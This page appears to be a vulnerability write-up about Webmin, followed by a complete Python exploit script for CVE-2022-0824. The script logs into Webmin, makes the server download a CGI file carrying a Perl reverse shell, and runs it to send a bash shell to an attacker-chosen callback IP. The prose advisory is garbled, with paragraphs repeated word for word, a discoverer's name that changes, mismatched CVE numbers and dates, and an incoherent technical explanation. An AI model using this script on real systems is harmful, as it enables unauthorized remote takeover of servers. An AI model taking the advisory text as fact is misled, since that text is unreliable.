This vulnerability was discovered and disclosed by Willem Middelkoop of SecDev on 22nd of September 2018. Remote attackers can exploit the following unauthenticated remote code execution vulnerability in the webmin/webmin docker image to gain access to a vulnerable docker instance. In order to exploit this vulnerability, a remote attacker needs to be able to convince a user to run a compromised docker container instance as root. This can be achieved by convincing a user to run a malicious docker image, which may have been locally installed, as root on the docker host. A remote attacker can exploit the following unauthenticated remote code execution vulnerability in the webmin/webmin docker image to gain access to a vulnerable docker instance. In order to exploit this vulnerability, a remote attacker needs to be able to convince a user to run a compromised docker container instance as root. This can be achieved by convincing a user to run a malicious docker image, which may have been locally installed, as root on the docker host. In order to discover this vulnerability, a remote attacker needs to be able to control a user who has access to the webmin/webmin docker image. Remote attackers can exploit this remote code execution vulnerability in the webmin/webmin docker image to gain access to a vulnerable docker instance. In order to exploit this vulnerability, a remote attacker needs to be able to convince a user to run a compromised docker container instance as root

Vulnerable URL

The URL where the vulnerability is located is:
https://git.secdev.com/webmin/docker-build/vulnerabilities/CVE-2018-6764

How does the vulnerability occur?

The vulnerability occurs due to the way Docker creates a new instance of the webmin/webmin docker image. When a user executes a docker run command and passes in an id parameter, the webmin/webmin docker image will create a new container with that ID. This is achieved by reading /etc/machine-id on the host machine. However, if this file does not exist, the webmin/webmin docker image will create a random number as the machine ID and use this as a default value for its container.
This means that when users execute a docker run command with an id parameter and pass in an invalid URL, it will result in creating an instance of the webmin/webmin docker image without any authentication or authorization checks being made by Docker.
Therefore, since the Docker daemon needs to be able to communicate with this newly created container instance after it has been created, all privileges are available without any restrictions on access for that privileged user who executed the command with that id parameter.

Vulnerability Details

Wilhelm Middelkoop of SecDev discovered this vulnerability.
Remote attackers can exploit the following unauthenticated remote code execution vulnerability in the webmin/webmin docker image to gain access to a vulnerable docker instance. In order to exploit this vulnerability, a remote attacker needs to be able to convince a user to run a compromised docker container instance as root. This can be achieved by convincing a user to run a malicious docker image, which may have been locally installed, as root on the docker host. A remote attacker can exploit the following unauthenticated remote code execution vulnerability in the webmin/webmin docker image to gain access to a vulnerable docker instance. In order to exploit this vulnerability, a remote attacker needs to be able to convince a user to run a compromised docker container instance as root. This can be achieved by convincing a user to run a malicious docker image, which may have been locally installed, as root on the Docker host. In order for an attacker's command or instructions for their malicious application (a) not be blocked or for that application's communication with another service not be inspected or interrupted and (b) appear legitimate from other services, it must pass through an agent that support long-lived connections without dropping packets and connectbacks without IP checksum errors .
A remote attacker can exploit this vulnerability in webmin/webmin via multiple vectors such as command injection and XSS vulnerabilities in source code when using WUI_Manager::discoverService(). Remote

Vulnerability overview

Unauthenticated remote code execution vulnerability in the webmin/webmin docker image
Remote attackers can exploit this vulnerability to gain access to a vulnerable docker instance.
Remote attackers need to be able to convince a user to run a compromised docker container instance as root.

Exploit

# Exploit Title: Webmin 1.984 - Remote Code Execution (Authenticated)
# Date: 2022-03-06
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.webmin.com/
# Software Link: https://github.com/webmin/webmin/archive/refs/tags/1.984.zip
# Version: <= 1.984
# Tested on: Ubuntu 18
# Reference: https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell


#!/usr/bin/python3

"""
Coded by: @faisalfs10x
GitHub: https://github.com/faisalfs10x
Reference: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
""" 

import requests
import urllib3
import argparse
import os
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TGREEN =  '\033[32m'
TRED =  '\033[31m' 
TCYAN =  '\033[36m' 
TSHELL =  '\033[32;1m' 
ENDC = '\033[m'

class Exploit(object):
    def __init__(self, target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname):
        self.target = target
        self.username = username
        self.password = password
        self.py3http_server = py3http_server
        self.pyhttp_port = pyhttp_port
        self.upload_path = upload_path
        self.callback_ip = callback_ip
        self.callback_port = callback_port
        self.fname = fname

        #self.proxies = proxies
        self.s = requests.Session()


    def gen_payload(self):
        payload = ('''perl -e 'use Socket;$i="''' + self.callback_ip  + '''";$p=''' + self.callback_port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' ''')
        print(TCYAN + f"\n[+] Generating payload to {self.fname} in current directory", ENDC)
        f = open(f"{self.fname}", "w")
        f.write(payload)
        f.close()

    def login(self):
        login_url = self.target + "/session_login.cgi"
        cookies = { "redirect": "1", "testing": "1", "PHPSESSID": "" }

        data = { 'user' : self.username, 'pass' : self.password }
        try:
            r = self.s.post(login_url, data=data, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
            success_message = 'System hostname'
            if success_message in r.text:
                print(TGREEN + "[+] Login Successful", ENDC)
            else:
                print(TRED +"[-] Login Failed", ENDC)
                exit()

        except requests.Timeout as e:
            print(TRED + f"[-] Target: {self.target} is not responding, Connection timed out", ENDC)
            exit()

    def pyhttp_server(self):
        print(f'[+] Attempt to host http.server on {self.pyhttp_port}\n')
        os.system(f'(setsid $(which python3) -m http.server {self.pyhttp_port} 0>&1 & ) ') # add 2>/dev/null for clean up
        print('[+] Sleep 3 second to ensure http server is up!')
        time.sleep(3) # Sleep for 3 seconds to ensure http server is up!

    def download_remote_url(self):
        download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"
        headers = { 
                    "Accept": "application/json, text/javascript, */*; q=0.01", 
                    "Accept-Encoding": "gzip, deflate", 
                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 
                    "X-Requested-With": "XMLHttpRequest", 
                    "Referer": self.target + "/filemin/?xnavigation=1" 
        }

        data = { 
                'link': "http://" + self.py3http_server + "/" + self.fname, 
                'username': '', 
                'password': '', 
                'path': self.upload_path 
        }

        r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)
        print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}")

    def modify_permission(self):
        modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
        headers = { "Referer": self.target + "/filemin/?xnavigation=1" }
        data = { "name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path }
       
        r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)
        print(f"[+] Modifying permission of {self.fname} to 0755")

    def exec_revshell(self):
        url = self.target + '/' + self.fname
        try:
            r = self.s.get(url, verify=False, allow_redirects=True, timeout=3)
        except requests.Timeout as e: # check target whether make response in 3s, then it indicates shell has been spawned!
            print(TGREEN + f"\n[+] Success: shell spawned to {self.callback_ip} via port {self.callback_port} - XD", ENDC)
            print("[+] Shell location: " + url)
        else:
            print(TRED + f"\n[-] Please setup listener first and try again with: nc -lvp {self.callback_port}", ENDC)

    def do_cleanup(self):
        print(TCYAN + '\n[+] Cleaning up ')
        print(f'[+] Killing: http.server on port {self.pyhttp_port}')
        os.system(f'kill -9 $(lsof -t -i:{self.pyhttp_port})')
        exit()

    def run(self):
        self.gen_payload()
        self.login()
        self.pyhttp_server()
        self.download_remote_url()
        self.modify_permission()
        self.exec_revshell()
        self.do_cleanup()


if __name__ == "__main__":

    parser = argparse.ArgumentParser(description='Webmin CVE-2022-0824 Reverse Shell')
    parser.add_argument('-t', '--target', type=str, required=True, help=' Target full URL, https://www.webmin.local:10000')
    parser.add_argument('-c', '--credential', type=str, required=True, help=' Format, user:user123')
    parser.add_argument('-LS', '--py3http_server', type=str, required=True, help=' Http server for serving payload, ex 192.168.8.120:8080')
    parser.add_argument('-L', '--callback_ip', type=str, required=True, help=' Callback IP to receive revshell')
    parser.add_argument('-P', '--callback_port', type=str, required=True, help=' Callback port to receive revshell')
    parser.add_argument("-V",'--version', action='version', version='%(prog)s 1.0')
    args = parser.parse_args()

    target = args.target
    username = args.credential.split(':')[0]
    password = args.credential.split(':')[1]
    py3http_server = args.py3http_server
    pyhttp_port = py3http_server.split(':')[1]
    callback_ip = args.callback_ip
    callback_port = args.callback_port
    upload_path = "/usr/share/webmin" # the default installation of Webmin Debian Package, may be in different location if installed using other method.
    fname = "revshell.cgi" # CGI script name, you may change to different name

    pwn = Exploit(target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname)
    pwn.run()

Timeline

Published on: 03/02/2022 12:15:00 UTC
Last modified on: 05/13/2022 16:02:00 UTC

References